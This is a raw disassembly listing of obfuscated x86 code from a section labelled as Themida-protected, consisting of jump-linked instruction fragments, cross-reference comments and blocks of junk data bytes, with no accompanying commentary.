dd 39E92424h, 81FFFF21h, 0A95F71F2h, 5AD02918h, 39D52D5Ah
dd 0D801631Dh, 726168h, 240C8900h, 5E4BE9h, 24048700h
dd 5854505Ch, 405h, 4EC8300h, 0BB241C89h, 4, 0FF934CE9h
dd 24048FFFh, 0FF24248Bh, 535A2434h, 0C0685B54h, 89000013h
dd 0E9512434h, 0FFFF7A99h, 5FFD895Fh, 13BEEE81h, 0C6814DDEh
dd 262C43BBh, 0B850EE01h, 34B5714Ah, 904EE235h, 0C051E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F6BE: ; CODE XREF: Themida_:0056060Aj
and ecx, eax
pop eax
jmp loc_5620CF
; ---------------------------------------------------------------------------
dw 0E957h
dd 0FFFFE8DBh
; ---------------------------------------------------------------------------
loc_55F6CC: ; CODE XREF: Themida_:0055A090j
push ebx
jmp loc_562839
; ---------------------------------------------------------------------------
dw 0D731h
dd 0FF980AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F6D9: ; CODE XREF: Themida_:005656B5j
push 15D34F8h
mov esi, [esp]
add esp, 4
jmp loc_55C6EC
; ---------------------------------------------------------------------------
loc_55F6EC: ; CODE XREF: Themida_:005565D7j
push esi
jmp loc_555011
; ---------------------------------------------------------------------------
loc_55F6F2: ; CODE XREF: Themida_:00552CF3j
inc edi
and edi, 6FD855C5h
push edx
mov edx, 6D5D7BC7h
jmp loc_55F124
; ---------------------------------------------------------------------------
dd 1489665Ch, 0DD885124h, 0FFE9EE88h, 1000062h, 0D3C681DEh
dd 8B57976Ch, 0C483241Ch, 4C68104h, 0E9000000h, 0FFFF7C33h
dd 0C50001B0h, 1613E9h, 8BDF8900h, 0C481241Ch, 4, 0E9DF2958h
dd 5624h
; ---------------------------------------------------------------------------
loc_55F748: ; CODE XREF: Themida_:0055B8E1j
add ebp, 0E36491Bh
pop ecx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_55862D
; ---------------------------------------------------------------------------
dd 5E08950h, 4, 25E7E9h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5639BC
; ---------------------------------------------------------------------------
db 81h
dd 4C1h, 4C18100h, 87000000h, 9EE9240Ch, 66FFFF89h, 0E9AEB151h
dd 0FFFFA3ABh, 6865F2BDh, 0AE7CE912h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F7A6: ; CODE XREF: Themida_:0055FCEDj
push esi
jmp loc_55E11C
; ---------------------------------------------------------------------------
dd 0BA241489h, 0
dd 0FF5353E9h, 6CB551FFh, 4EC81h, 14890000h, 802CB224h
dd 0EC8157CAh, 4, 0B5240C89h, 79ED8058h, 0F659EA00h, 7FA5E9D2h
dd 0E789FFFFh, 4C781h, 0C7830000h, 243C8704h, 4D83E9h
dd 74FF5100h, 0C8B0424h, 715C6824h, 42E90000h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F807: ; CODE XREF: Themida_:00551E11j
mov ch, ah
mov dh, ch
pop ecx
jmp loc_556E6B
; ---------------------------------------------------------------------------
loc_55F811: ; CODE XREF: Themida_:005616D1j
and esi, 1D713B58h
shl esi, 7
and esi, 23020D21h
xor esi, 310835BCh
add edx, esi
pop esi
push dword ptr [esp]
pop eax
add esp, 4
xchg edx, [esp]
pop esp
add esp, 4
loc_55F83A: ; CODE XREF: Themida_:005533D4j
; Themida_:00563D69j
push 1F21h
jmp loc_5559EF
; ---------------------------------------------------------------------------
dd 232768h, 24048B02h, 4C481h, 68570000h, 3966271Ah, 0FF8406E9h
dd 74685CFFh, 8900005Ch, 0AFE9241Ch, 0BFFFFFFCh, 4, 835FF901h
dd 0C3304C1h, 240C3124h, 8B240C33h, 36E92424h
db 42h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F887: ; CODE XREF: Themida_:00558D4Dj
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push ebx
jmp loc_558506
; ---------------------------------------------------------------------------
loc_55F89B: ; CODE XREF: Themida_:00559ACFj
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
add edx, 4
sub esp, 4
mov [esp], ebp
jmp loc_5546C1
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 565BDA01h, 0DC6ACFBEh, 6DBB534Bh, 311F5D3Fh, 0CE95BDEh
dd 81FFFF94h, 0BE1A8FC5h, 5DEB01C5h, 570DB850h, 48E91FD3h
db 61h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55F8E7: ; CODE XREF: Themida_:0055DE86j
add edi, 287C7762h
shl edi, 4
or edi, 649E537Ch
sub edi, 0FFFFFFFFh
jmp loc_551EEC
; ---------------------------------------------------------------------------
dw 0F001h
dd 253CE95Eh, 815AFFFFh, 4C2h, 4C28300h, 31241433h, 14332414h
dd 0AAE95C24h
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F91F: ; CODE XREF: Themida_:0055639Fj
pop ebx
shl cl, 6
jmp loc_5537CD
; ---------------------------------------------------------------------------
dd 33241431h, 7AE92414h, 80FFFF16h, 8B66C2C1h, 0C481241Ch
dd 2, 1D2CA22Ch, 1D04C800h, 34FFA204h, 0F0E1E924h, 0D105FFFFh
dd 0E93C5E2Fh, 0FFFF8824h
; ---------------------------------------------------------------------------
loc_55F95C: ; CODE XREF: Themida_:0055803Bj
rep movsd
add esp, [edx+38h]
push ecx
jmp loc_55F4F7
; ---------------------------------------------------------------------------
db 28h
dd 0F0005BF8h, 0FF5800E9h, 4BAFFh, 0D0290000h, 8324148Bh
dd 27E904C4h, 31FFFF48h, 240C8BCEh, 0FFFD39E9h, 0FCE95EFFh
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F993: ; CODE XREF: Themida_:0055E9ACj
push esi
mov esi, 174D136Eh
jmp loc_561489
; ---------------------------------------------------------------------------
dw 0D529h
dd 93ED815Ah, 297FCE22h, 93C581FDh, 507FCE22h, 0FFD821E9h
dd 9D055CFFh, 290AE113h, 65B951D0h, 494C7A6Dh, 6324E181h
dd 8141721Bh, 394D88E9h, 8BC82935h, 0C481240Ch, 4, 5A2434FFh
dd 0C8B5451h, 0E9545024h, 0ADFh, 68E38953h, 2106h, 0BD242C89h
dd 4, 2FC8E9h, 4C48300h, 67016856h, 14890000h, 2B856824h
dd 148B446Bh, 8BA2E924h, 2958FFFFh, 51C781EFh, 5D7AE575h
dd 0FFAAB8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FA29: ; CODE XREF: Themida_:0055C098j
mov ebp, 1E9F4828h
mov edx, ebp
pop ebp
xor edx, 3B7F774Dh
xor edx, 402B6FA9h
push esi
jmp loc_55DA10
; ---------------------------------------------------------------------------
loc_55FA43: ; CODE XREF: Themida_:00558516j
pop esp
push edi
push esp
jmp loc_55A270
; ---------------------------------------------------------------------------
loc_55FA4B: ; CODE XREF: Themida_:00559CFEj
sub ebp, 0FB7FF9CCh
mov eax, ebp
jmp loc_560F17
; ---------------------------------------------------------------------------
dd 0C8BCB29h, 4C48124h, 68000000h, 724Dh, 0BD242C89h, 6E0D0118h
dd 79C6E957h, 0BB53FFFFh, 4, 0C6E9DA01h, 5B000006h, 8104E6C1h
dd 0F157C4F6h, 0EE8156h, 1332A76h, 24348BF3h, 4C481h, 0BE560000h
dd 4, 875EF329h, 895C241Ch, 0E4B62414h, 6866CEFEh, 89663E28h
dd 30E9240Ch, 45000004h, 3E5C145h, 0FF3EA4E9h, 24248BFFh
dd 0E9240C87h, 0FFFF0EDBh, 0B850DBF7h, 28B43F3Ch, 0E958C301h
dd 0FFFF5B4Dh, 8359CA01h, 148704EAh, 2770E924h, 48FFFFFh
dd 24248B24h, 0FFD090E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FAFD: ; CODE XREF: Themida_:00551AC1j
mov eax, [esp]
jmp loc_556F28
; ---------------------------------------------------------------------------
db 89h, 3Ch, 24h
dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 0E95C2414h, 2714h
dd 4C4815Fh, 89000000h, 0C288E9C8h, 0E959FFFFh, 2A92h
dd 0E958E230h, 1DF5h
; ---------------------------------------------------------------------------
loc_55FB3C: ; CODE XREF: Themida_:0055AC74j
add esp, 4
push edx
jmp loc_562971
; ---------------------------------------------------------------------------
loc_55FB48: ; CODE XREF: Themida_:0055F5CBj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55C3B4
; ---------------------------------------------------------------------------
dd 6EEB815Dh, 151C310h, 6EC381C3h, 5851C310h, 2474FF53h
dd 48F5B04h, 24248B24h, 0FFD53FE9h, 240489FFh, 0DD722AB8h
dd 58C32976h, 1C8BD801h, 4C48124h, 29000000h, 43B02DF8h
dd 0CDE93895h, 89FFFF29h, 0DEE92404h, 66FFFF67h, 6624048Fh
dd 660BC068h, 66243489h, 66242C87h, 0BD72E955h, 0E589FFFFh
dd 4C581h, 0C5810000h, 4, 5C242C87h, 28D7E9h, 24248900h
dd 4240481h, 5D000000h, 125968h, 0C6AE900h, 4BA0000h, 29000000h
dd 34875AD6h, 0C895C24h, 81595424h, 4C1h, 82FDE900h, 489FFFFh
dd 56E08924h, 4BEh, 6B5E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55FC12: ; CODE XREF: Themida_:0056494Bj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor eax, ecx
xor ecx, eax
xor eax, ecx
jmp loc_555AAF
; ---------------------------------------------------------------------------
loc_55FC2C: ; CODE XREF: Themida_:0055D302j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
jmp loc_5561D3
; ---------------------------------------------------------------------------
db 89h
dd 2B68241Ch, 89000055h, 4832424h, 34FF0424h, 89535B24h
dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 769E685Ch, 4890000h
dd 23EEE924h, 0E8010000h, 0F41FBC2Dh, 0C0835D6Dh, 24048702h
dd 6624248Bh, 0A5BA6652h, 0B1ACE9F1h, 1C89FFFFh, 1C8B5424h
dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 4C3815Ch
dd 57000000h, 2BFh, 73EB8100h, 0E95ADF26h, 0FFFF2D3Fh
; ---------------------------------------------------------------------------
loc_55FCC0: ; CODE XREF: Themida_:0055C738j
push esi
jmp loc_560701
; ---------------------------------------------------------------------------
loc_55FCC6: ; CODE XREF: Themida_:00562BF3j
add esi, edi
pop edi
push esi
jmp loc_56146A
; ---------------------------------------------------------------------------
loc_55FCCF: ; CODE XREF: Themida_:00551456j
xor ax, 0E1BEh
add ax, 3CC0h
push si
mov si, 1
sub ax, si
mov si, [esp]
add esp, 2
shr ax, 1
jmp loc_55F7A6
; ---------------------------------------------------------------------------
dw 0D6F6h
dd 68FFC680h, 6DB2h, 0E9241C89h, 0FFFF764Ah, 0B951E289h
dd 4, 3F65E9h
db 0
; ---------------------------------------------------------------------------
loc_55FD11: ; CODE XREF: Themida_:00558B1Aj
mov ch, 9Bh
inc ch
or ch, 6Ch
not ch
or ch, 0B9h
jmp loc_552640
; ---------------------------------------------------------------------------
dw 4259h
dd 0FB48C281h, 0C381A3FFh, 306146C5h, 4188E9h
db 0
; ---------------------------------------------------------------------------
loc_55FD35: ; CODE XREF: Themida_:00556931j
and dh, bl
jmp loc_564997
; ---------------------------------------------------------------------------
dd 2F2AC281h, 34FF0DA1h, 240C8B24h, 4C481h, 0C4810000h
dd 4, 3302C283h, 0E7E92414h, 68FFFF25h, 0BC65836Eh, 5724048Bh
dd 0C781E789h, 4, 0FF1E35E9h, 24248BFFh, 305E9h
db 0
; ---------------------------------------------------------------------------
loc_55FD7D: ; CODE XREF: Themida_:005515E7j
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_565CE6
; ---------------------------------------------------------------------------
loc_55FD8B: ; CODE XREF: Themida_:00555C12j
add edx, 4
jmp loc_5570E1
; ---------------------------------------------------------------------------
loc_55FD96: ; CODE XREF: Themida_:0055F515j
push ebp
mov ebp, 91D10A0h
push esi
mov esi, ebp
jmp loc_5592DE
; ---------------------------------------------------------------------------
dd 4C481h, 89520000h, 4C281E2h, 56000000h, 4BEh, 92CBE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FDBE: ; CODE XREF: Themida_:00561B7Ej
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
shr eax, 12h
xor eax, ecx
push 398Dh
mov [esp], eax
xor [esp], esi
xor esi, [esp]
xor [esp], esi
not esi
push 17A5h
jmp loc_559F56
; ---------------------------------------------------------------------------
dd 2434FF5Ah, 0E9241C8Bh, 0FFFF3D87h
; ---------------------------------------------------------------------------
loc_55FDF8: ; CODE XREF: Themida_:005653C6j
inc ebp
or ebp, 29F7158h
jmp loc_56345C
; ---------------------------------------------------------------------------
loc_55FE04: ; CODE XREF: Themida_:005572E6j
and eax, esi
mov esi, [esp]
add esp, 4
push edi
mov edi, 8272D032h
xor eax, edi
pop edi
add edx, eax
pop eax
mov eax, edx
pop edx
jmp loc_555772
; ---------------------------------------------------------------------------
db 55h
dd 0FF1DE8E9h, 5FE958FFh
db 52h, 2 dup(0FFh)
byte_55FE2F db 66h ; DATA XREF: Themida_:0055070Co
dd 68240C8Bh, 6275h, 0FF60E0E9h, 66D400FFh, 45C4805Ah
dd 60B65266h, 0D5E9F420h, 56FFFF78h, 1142D0BEh, 4C05052Bh
dd 0F0292D97h, 974C052Dh, 24348B2Dh, 734468h, 240C8900h
dd 0C181E189h, 4, 4C181h, 0C870000h, 0D8015C24h, 0FF1C4FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FE85: ; CODE XREF: Themida_:00559DE7j
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
jmp loc_55ED40
; ---------------------------------------------------------------------------
dw 0EA81h
dd 798BB97Ch, 0FF8356E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FEA1: ; CODE XREF: Themida_:00555E2Fj
sub ebp, eax
jmp loc_553DD6
; ---------------------------------------------------------------------------
aHuf db '\hНF',0
align 2
dw 3C89h
dd 0B1BE5624h, 8172AE4Eh, 124155CEh, 81D6F72Eh, 0BE4FFAC6h
dd 481567Eh, 6757EE24h, 0EF815F61h, 616757EEh, 1F8EE9h
dd 81E38900h, 4C3h, 8BA4E900h
db 2 dup(0FFh)
word_55FEE6 dw 8B66h ; DATA XREF: Themida_:005507DCo
dd 0BE9240Ch, 50FFFF84h, 0E4C039B4h, 0ECC48002h, 2058E188h
dd 0C8B66CEh, 5E06E924h, 0E7B9FFFFh, 81219131h, 528ECC9h
dd 4EC8368h, 0BB241C89h, 754F3F22h, 11CB8143h, 0E930954Eh
dd 0FFFF2B2Ah, 9758C721h, 49F4E948h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55FF32: ; CODE XREF: Themida_:00559E9Aj
pop ebx
jmp loc_5573C2
; ---------------------------------------------------------------------------
dd 2404D35Ch, 0A6DE99Ch, 487FFFFh, 0BE95C24h, 56FFFF25h
dd 0FF824AE9h, 4EC81FFh, 89000000h, 0E2682404h, 0E900003Fh
dd 2D45h, 0FE73B753h, 0C0DFF6C7h, 0F78004EFh, 5BFE0073h
dd 2EC81h, 9DE90000h, 31FFFF50h, 97E9243Ch, 8BFFFF82h
dd 98E92434h, 3000001Fh, 241C8BD8h, 88BE9h, 0F7525800h
dd 835A2414h, 0E1E901EAh, 29000037h, 4B951FAh, 0E972D339h
dd 0FFFF8499h
; ---------------------------------------------------------------------------
loc_55FFB4: ; CODE XREF: Themida_:00550B10j
mov ebx, 1EDD1F9Eh
jmp loc_563866
; ---------------------------------------------------------------------------
dw 0C483h
dd 0F3BB5304h, 51620271h, 2C2BE9h, 58E30000h, 835BDD20h
dd 148904ECh, 0D806E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FFDE: ; CODE XREF: Themida_:00556B61j
push eax
push esp
jmp loc_55A940
; ---------------------------------------------------------------------------
db 52h, 0BAh, 9Bh
dd 81539335h, 1C2h, 6DEA8100h, 811BA142h, 1E3181E2h, 2DCA812Bh
dd 8109AC4Fh, 5035AF2h, 8BD70120h, 0C4832414h, 9586E904h
dd 0F781FFFFh, 63D323BBh, 0F75FFE09h, 518868DEh, 4AE90000h
dd 81FFFFA3h, 0CDE55EC5h, 0E95653E3h, 0FFFF8BF9h, 31242C33h
dd 2C33242Ch, 24248B24h, 0FF2434FFh, 51592434h, 0C181E189h
dd 4, 8704E983h, 895C240Ch, 98E92434h
db 46h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560063: ; CODE XREF: Themida_:0056146Bj
pop esi
push edi
mov edi, 621752C2h
or ebx, edi
pop edi
jmp loc_558392
; ---------------------------------------------------------------------------
loc_560072: ; CODE XREF: Themida_:00557ACFj
not esi
or esi, 31317997h
shl esi, 6
jmp loc_55D8F3
; ---------------------------------------------------------------------------
dw 8B66h
dd 8A682404h, 0E900004Fh, 0FFFFBCB6h, 61B968h, 241C8900h
dd 0FA88C788h, 5AD3885Bh, 240C8B58h, 4C483h, 1C8B66D8h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, 4
add ebp, edi
pop edi
add ebp, 2
xchg ebp, [esp]
pop esp
sub esp, 2
mov [esp], dx
push ebx
mov bl, 25h
push ecx
mov ch, bl
mov dl, ch
pop ecx
pop ebx
xor al, dl
mov dx, [esp]
push ebp
push esp
push dword ptr [esp]
jmp loc_557797
; ---------------------------------------------------------------------------
db 59h, 0E9h, 0B1h
dd 25FFFF7Dh, 7D363761h, 16053D2Dh, 0B3CE911h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5600F6: ; CODE XREF: Themida_:00563706j
dec esi
and esi, 2FED3535h
sub esi, 9651130h
add ecx, esi
pop esi
jmp loc_55612D
; ---------------------------------------------------------------------------
db 0B7h
dd 0FFC780A5h, 4FBC780h, 0CC2C4Dh, 2CCC04F8h, 241C8B4Dh
dd 4C481h, 0C8E90000h, 8FFFFFCDh, 248B2404h, 24043124h
dd 0FF0876E9h
db 0FFh
byte_560139 db 0ACh, 0E9h, 0E0h ; DATA XREF: Themida_:00550754o
dd 29FFFFC0h, 5759240Ch, 0FF2179E9h, 14335BFFh, 3615E924h
dd 0C7810000h, 4, 4C781h, 0FF570000h, 5F042474h, 5C24048Fh
dd 2343B850h, 0E95708BFh, 0FFFF1C29h, 5F04C483h, 0E904EC83h
dd 0FFFFA709h, 24048F5Ah, 0FF84C4E9h, 821E9FFh
db 2 dup(0FFh)
word_56018E dw 34FFh ; DATA XREF: Themida_:0055071Co
aSs_0 db '$И≥>',0
align 2
dw 0ED81h
dd 3D9D347Fh, 262DC581h, 11E94FC0h, 81FFFF41h, 0FC496FF3h
dd 84BE5631h, 0D11FB018h, 0BDC681EEh, 29F027F3h, 0BF575EF3h
dd 4E8C4C9Dh, 2C50EF81h, 0EF833710h, 1C781FFh, 81000000h
dd 0CE718BC7h, 0CEF8148h, 11D3627h, 89525FFBh, 4C281E2h
dd 50000000h, 4B8h, 58C22900h, 5C241487h
db 89h, 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
jmp loc_554798
; ---------------------------------------------------------------------------
db 31h
dd 4332404h, 3C88E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56021E: ; CODE XREF: Themida_:00552D13j
add esp, 4
xchg esi, [esp]
mov esp, [esp]
add [esp], eax
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
dd 53C8FE5Ah, 0B2E989B7h
db 0Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56023B: ; CODE XREF: Themida_:00562551j
xor edx, ebx
xor ebx, edx
sub esp, 4
mov [esp], ebx
xchg edi, [esp]
not edi
xchg edi, [esp]
mov ebx, [esp]
add esp, 4
push eax
mov eax, 0FFFFFFFFh
add ebx, eax
mov eax, [esp]
jmp loc_553B28
; ---------------------------------------------------------------------------
loc_560263: ; CODE XREF: Themida_:00564401j
add esp, 4
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_551274
; ---------------------------------------------------------------------------
loc_560277: ; CODE XREF: Themida_:0055487Fj
mov ecx, 0E01A18F3h
add edi, ecx
pop ecx
mov eax, edi
pop edi
inc eax
sub eax, 32E1D72h
add ecx, eax
pop eax
push dword ptr [esp]
jmp loc_55992F
; ---------------------------------------------------------------------------
db 8Bh
dd 41E9242Ch, 83000013h, 0DDF704C4h, 0C344F581h, 28E991CAh
dd 51FFFFF6h, 0FFC09EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5602B1: ; CODE XREF: Themida_:00555304j
xor bh, 0F2h
or al, bh
pop ebx
jmp loc_55F297
; ---------------------------------------------------------------------------
loc_5602BC: ; CODE XREF: Themida_:0055D623j
xor edi, 69B2602Bh
jmp loc_558FC0
; ---------------------------------------------------------------------------
db 1
dd 0EC835EF0h, 241C8904h, 4BBh, 5BD80100h, 5C240487h, 3302C083h
dd 4312404h, 24043324h, 0ECAE95Ch, 0ED830000h, 0E0F4E9FFh
dd 5D53FFFFh, 4012BB5Bh, 0EB2912E0h, 57242C8Bh, 47E95F54h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56030B: ; CODE XREF: Themida_:005544B0j
mov esi, ebx
pop ebx
add ebp, esi
pop esi
sub esp, 4
mov [esp], esi
jmp loc_558A3E
; ---------------------------------------------------------------------------
loc_56031F: ; CODE XREF: Themida_:0056356Dj
push eax
push ecx
mov ecx, 55D5368Fh
mov eax, 0BE4B7591h
sub eax, ecx
pop ecx
shr eax, 7
inc eax
or eax, 23F8798Dh
sub eax, 0D6809CF7h
add ebp, eax
mov eax, [esp]
add esp, 4
add ebp, 5B073AEBh
add ebp, ebx
sub ebp, 5B073AEBh
jmp loc_558469
; ---------------------------------------------------------------------------
loc_56035A: ; CODE XREF: Themida_:005540B9j
pop edx
sub ebx, 5F8B55ACh
add ebx, 0CA2EAF5h
add ebp, 72F01E2Fh
add ebp, ebx
sub ebp, 72F01E2Fh
pop ebx
jmp loc_561C3D
; ---------------------------------------------------------------------------
loc_56037B: ; CODE XREF: Themida_:005608D4j
add eax, 0B66033h
shl eax, 7
xor eax, 0D7FF9B04h
push edi
mov edi, 2E7F50C8h
jmp loc_560DFB
; ---------------------------------------------------------------------------
loc_560393: ; CODE XREF: Themida_:0055DD3Ej
mov edx, 12B586Ah
xor edx, 12B486Ah
mov eax, edx
jmp loc_55C8C9
; ---------------------------------------------------------------------------
loc_5603A5: ; CODE XREF: Themida_:0055D2D6j
mov bl, al
mov dh, bl
pop ebx
jmp loc_561B21
; ---------------------------------------------------------------------------
db 89h
dd 2BF243Ch, 1000000h, 1C335FFBh, 3C34E924h, 478F0000h
dd 40778140h, 0D59606Dh, 0FF2434FFh, 0E9582434h, 0FFFFE7B6h
; ---------------------------------------------------------------------------
loc_5603D8: ; CODE XREF: Themida_:005656FCj
mov eax, 2A0B5402h
add edx, eax
pop eax
add edx, eax
sub edx, 2A0B5402h
jmp loc_55475A
; ---------------------------------------------------------------------------
db 1, 0C2h, 58h
a_bPagSus db '_│б╞ag~ИuS',0
align 4
loc_5603FC: ; CODE XREF: Themida_:005651F5j
mov ecx, 24h
sub ecx, 22B4302Bh
add ecx, 20517D7Ah
add ecx, edi
sub ecx, 20517D7Ah
push ebx
jmp loc_5565DC
; ---------------------------------------------------------------------------
loc_56041B: ; CODE XREF: Themida_:00558FD9j
push dword ptr [esp]
mov ebx, [esp]
jmp loc_55C15B
; ---------------------------------------------------------------------------
dw 895Ch
dd 0BB532414h, 1C85394Fh, 2414F753h, 81DBF75Bh, 0A572F7E3h
dd 81E3D160h, 0F59F64C3h, 0EC77E9FEh, 0EC81FFFFh, 4, 0E9242C89h
dd 0FFFF991Ah, 5206E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56045E: ; CODE XREF: Themida_:00554130j
and esi, 6D157DCAh
jmp loc_55A51B
; ---------------------------------------------------------------------------
db 0B9h, 48h, 36h
dd 23E90FDAh, 4000017h, 2CE8283Dh, 0E951663Dh, 0FFFF84B6h
dd 6313E681h, 834602A6h, 2C8904ECh, 37CCBD24h, 0EE012F07h
dd 4B1BE9h
db 0
; ---------------------------------------------------------------------------
loc_560499: ; CODE XREF: Themida_:00564AF6j
xchg edi, [esp]
mov esp, [esp]
push dword ptr [edi+eax*4]
push 1A3Fh
mov [esp], ebx
push ecx
mov ecx, 0E6B4256h
sub ecx, 21F041Eh
jmp loc_564713
; ---------------------------------------------------------------------------
loc_5604BB: ; CODE XREF: Themida_:005616B5j
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_55793B
; ---------------------------------------------------------------------------
db 58h
dd 0FF0D0CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5604D1: ; CODE XREF: Themida_:005543A5j
add ecx, 4
add ecx, 4
jmp loc_555540
; ---------------------------------------------------------------------------
db 89h
dd 4C581E5h, 81000000h, 4C5h, 242C8700h, 7F9A685Ch, 0C890000h
dd 2B924h, 0CF010000h, 74FF5759h, 0BFE90424h, 0BA00004Ah
dd 4, 1790C681h, 0D6013D45h, 1790EE81h, 148B3D45h, 4C48324h
dd 38DD68h, 24348900h, 0FF3423E9h, 5BDF29FFh, 0E92434FFh
dd 0FFFF3554h, 48BE300h, 4C48324h, 8124048Bh, 4C4h, 80C32800h
dd 0B60FB5C3h, 87048FC0h, 0FFA996E9h, 0F6E581FFh, 81213979h
dd 475C79EDh, 4EDC163h, 5111C581h, 0F5814F5Ah, 0B299BD6h
dd 0FFBAF9E9h, 8FE95BFFh, 41FFFF87h, 0FF67D3E9h, 4C481FFh
dd 5000000h, 523D06F4h, 8904EC83h, 0EC83241Ch, 24348904h
dd 8904EC83h, 7EE9243Ch
db 0Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5605AB: ; CODE XREF: Themida_:005513CAj
and ebx, eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5563BA
; ---------------------------------------------------------------------------
loc_5605C7: ; CODE XREF: Themida_:00557A14j
mov esi, esp
jmp loc_555755
; ---------------------------------------------------------------------------
dw 0EF81h
dd 179F504Ah, 0FF303AE9h, 6E18BBFFh, 0A8E94979h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5605E3: ; CODE XREF: Themida_:0055D9EFj
push edx
push esi
mov esi, 758E59A6h
neg esi
xor esi, 0D0409755h
jmp loc_559CE0
; ---------------------------------------------------------------------------
loc_5605F7: ; CODE XREF: Themida_:00550C6Cj
add esi, 4
push 297Ch
jmp loc_560FA7
; ---------------------------------------------------------------------------
loc_560607: ; CODE XREF: Themida_:0055D8C0j
mov eax, ecx
pop ecx
jmp loc_55F6BE
; ---------------------------------------------------------------------------
db 5
aLSlw db 'рL[-)ьИLW',0
dw 0BF00h
dd 1E837188h, 0FF2C9AE9h, 0DBE950FFh, 58FFFFC4h, 2474FF53h
dd 89E95B04h, 89000009h, 8157241Ch, 4ECh, 243C8900h, 444168h
dd 24248900h, 4240481h, 5F000000h, 22D2BE56h, 4E4E55AFh
dd 0BB53D6F7h, 0AA50DD2Bh, 15BDE29h, 24348BF7h, 8304C483h
dd 0E95704EFh, 0FFFF7D4Eh, 0D0E95D58h
db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56067F: ; CODE XREF: Themida_:00558096j
mov ebp, 3B462A04h
mov edx, 66F275E2h
sub edx, ebp
pop ebp
push ebx
mov ebx, 1A183252h
jmp loc_5588B2
; ---------------------------------------------------------------------------
db 89h
dd 0C7815AD5h, 2E4D40D1h, 0EF81EF01h, 2E4D40D1h, 5D2434FFh
dd 4C481h, 3C330000h, 20F6E924h, 0EF810000h, 71053D42h
dd 0FE0DEF81h, 0E916E9h
db 25h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5606CB: ; CODE XREF: Themida_:005646F0j
add ebp, 6679F4F9h
sub ecx, ebp
mov ebp, [esp]
jmp loc_563483
; ---------------------------------------------------------------------------
db 8Bh
dd 8B662424h, 54512404h, 496EE9h, 62ED8000h, 0C8BEE88h
dd 4C48124h, 52000000h, 0F30055B6h, 0FFDEACE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560701: ; CODE XREF: Themida_:0055FCC1j
mov esi, 3B9C27B6h
and ecx, esi
jmp loc_5646A0
; ---------------------------------------------------------------------------
db 5Bh, 35h, 0CDh
dd 5619AF43h, 3A4B21BEh, 81464E32h, 6840FCEEh, 5EF001CEh
dd 14120705h, 0E9C72977h, 0FFFFDAC5h
; ---------------------------------------------------------------------------
loc_560730: ; CODE XREF: Themida_:005596DDj
pop dword ptr [esp]
mov esp, [esp]
push esi
jmp loc_555214
; ---------------------------------------------------------------------------
dd 4C481h, 0DFF70000h, 9E85F781h, 0EE818CB9h, 6B4B4059h
dd 0C681FE01h, 6B4B4059h, 4EC815Fh, 89000000h, 0A4E92414h
dd 81FFFFFDh, 0A11775EFh, 82E95E50h, 89FFFFC4h, 34E9240Ch
dd 81FFFF02h, 70AC72EAh, 5AD589D0h, 5969ED81h, 0E5C177A6h
dd 2EDC103h, 5ED68h, 24348900h, 0FCCBE951h, 295AFFFFh
dd 1CC681D6h, 5A450277h, 6E4EB951h, 0C681368Dh, 0DC45371h
dd 4FE9CE01h, 5A000044h, 0FF13F7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5607C1: ; CODE XREF: Themida_:00552707j
add edx, 4
jmp loc_55C1D1
